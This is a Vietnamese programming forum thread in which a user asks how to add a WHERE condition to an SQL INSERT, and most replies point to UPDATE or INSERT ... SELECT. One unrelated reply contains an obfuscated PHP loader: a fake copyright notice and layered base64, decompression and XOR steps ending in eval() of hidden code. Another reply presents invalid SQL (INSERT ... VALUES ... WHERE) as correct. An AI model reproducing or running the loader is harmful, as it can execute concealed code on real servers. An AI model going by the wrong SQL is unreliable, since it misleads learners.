10/10/2018, 09:56

Cho em hỏi câu lệnh insert trong sql?

Em có 1 bảng Item (ID, Name, Price, NameP, Address, Call).

Dữ liệu ở 3 cột đầu đã có rồi. Giờ em muốn insert dữ liệu vào 3 cột sau. (Insert vào những dòng có dữ liệu ở 3 cột đầu).

Insert into Item (NameP, Address, Call) values ('Thuy', 'HCM', "123456") where.....

Điều kiện ở chỗ where phải là gì ạ?
s.code viết 12:11 ngày 10/10/2018
làm gì có where? Bó tay gà quay
mitdacqn viết 11:56 ngày 10/10/2018
Lệnh insert trong sql làm gì có điều kiện, nếu muốn insert khi thỏa mãn một điều kiện nào đó thì bạn có thể kiểm tra trước, sau đó mới insert

Trường hợp của bạn phải dùng lệnh update mới đúng:
Code:
UPDATE Item set NameP='Thuy', Address='HCM', Call='123456' where ID='xx'
Bạn phải biết giá trị của ID mới update được.
tiendx2002 viết 12:12 ngày 10/10/2018
Được gửi bởi thulet
Em có 1 bảng Item (ID, Name, Price, NameP, Address, Call).

Dữ liệu ở 3 cột đầu đã có rồi. Giờ em muốn insert dữ liệu vào 3 cột sau. (Insert vào những dòng có dữ liệu ở 3 cột đầu).

Insert into Item (NameP, Address, Call) values ('Thuy', 'HCM', "123456") where.....

Điều kiện ở chỗ where phải là gì ạ?
Chào Thu,
Câu SQL của em sẽ là như sau:
Insert into Item (NameP, Address, Call) values ('Thuy', 'HCM', "123456") where (ID != "" AND Name != "" AND Price != "")

Có thể là != NULL tùy theo tình trạng dữ liệu của em nhưng cơ bản != "" là ổn.
Thân mến.
Gió viết 12:04 ngày 10/10/2018
Code:
<?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
$o="QAAAOzh3b3cnYGJzWG9iZmNidQAALy48Jzg5Cg0KDTtjbnEnbgAUYzolZGhpc2JpcyUBYg4BfWtiQgBhAbIOCg0OAdNka2Z0dDold2gDgHRzZnViZgOBAdMGsm5pZGtyY2IAAC9TQkpXS0ZTQldGU08pJShARGUCoGNkdXJqZSkJECUuPAhRDg6gCAOSDgpTbmEnL29mcWJYBaF0Ly4ATi4nPSdwb25rYgF/c28CYwzlBJA7AAxvNjk7ZidvdWJhOiUFEwJiYnUAgGpma25pbC8uD4AlJ3ViazolACBlaGhsamZ1bCU5ApdzbnNrYoHwBQM7KGY5OygFAA8xCiQS0Q+UY2ZzYvwAD1IL5BFqAdETNglwDjt3OTt0d2ZpJ4wAA+RzbmoD4AeJamIvIEEnbSsnXkkAIBnSOygDATknAkNYYi8lZX4lKwAHJyB0c3Jjbmh3dWJ0dAKTAiQOcQLAZnJzb2h1E6NYDvMegSchaWV0d0MCPASjYmNucwIiAhNYWC8gL0IBQC54UCAF3QEAAUEGZWV1JygI+UEZQGMncmn0GCTwCY8WYAmIZBLAYGh1fi8FARghOyh3I/g5JxWCDjsoFVAnUBJhASQBEBKFFJF1bmBwZm8n0wJBFK1uZGhqaiuSH49Ydx+HEJEks5ACxHQfNQEFWGkpMDFwEOFLYifgJ2YnROXXBYMLMRdKKycCYTYCDxlEAgMiAgV0BB4d9CXh/wceMhDfNkAlZBHoEdI5giREZGtiZnUMoBQWAiPAfDgCIOFif2RidXdzLOQVWAOeLe830WpiGb1zZjUuNCwfZmAUZinRUwEBIyASuhdBPSCIR+JzAlAvICAgIw/GC3MMZgjUDHJiaWM/wjwD8Cdia3RiPSVgAtIAUiCRAlIH8CBUaHUBAHV+KydpaCcLoXQnamZzZG9iAABjJ35ocnUnZHVuc2J1bmYp8OEYvgoRF/ExtGljbmEBMQYLBSJYaWZxMyMAMCAnISQ/NTY1PCcE8CCxIWtmdgAAcmg8J1d1YnFuaHJ0J1dmYHCOYgHAOrshc0lif3MCAichdQNiAo4h5Hf/gDEzCKEgSBHBAPZb0BACVs9WwnRuY2JlZnX4FFaaAzAWhACgA9IoKCdTb2ITAG5JwGhrCcVyamknF1B0JxayAlVjkWFoaBRQLwny";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
Chân thành cảm ơn.
yenlanquan viết 12:00 ngày 10/10/2018
Được gửi bởi thulet
Em có 1 bảng Item (ID, Name, Price, NameP, Address, Call).

Dữ liệu ở 3 cột đầu đã có rồi. Giờ em muốn insert dữ liệu vào 3 cột sau. (Insert vào những dòng có dữ liệu ở 3 cột đầu).

Insert into Item (NameP, Address, Call) values ('Thuy', 'HCM', "123456") where.....

Điều kiện ở chỗ where phải là gì ạ?
chào U thulet ! đối với câu của U, thì U nên dùng "Update ... set ..." là ổn nhất,
còn nếu U có muốn viết câu lệnh "insert into" có "where" thì viết thế này
---

insert into (Tên bản mà U mốn insert)
select (các giá trị mà U muốn truyền vào cho bãn ở trên "chú ý số thuộc tính đưa vào phải bằng với số thuộc tính cua bản ở trên")
from (tên bản nào mà U muốn lấy ra điều kiện)
where (các điều mà U muốn thực hiện)

---
Bài làm của mình đây ví dụ thôi
Xe(BienSo,MaLoaiXe,SoChoNgoi)(primary key BienSo)
LoaiXe(MaLoai,TenLoai) (primary key maLoai)

Ở Đây tạo ra 1 procedure để thực thi việc insert

create proc Xe_Insert
(
@BienSoXe nchar(10),
@SoChoNgoi int,
@TenLoaiXe nvarchar(50)

)
as begin
insert into Xe
select @BienSoXe,LoaiXe.MaLoai,@SoChoNgoi
from LoaiXe
where LoaiXe.TenLoai=@TenLoaiXe
end

--thử nghiệm
exec Xe_Insert_2 '132434',34,N'Thường'


chúc U may Mắn
Bài liên quan
0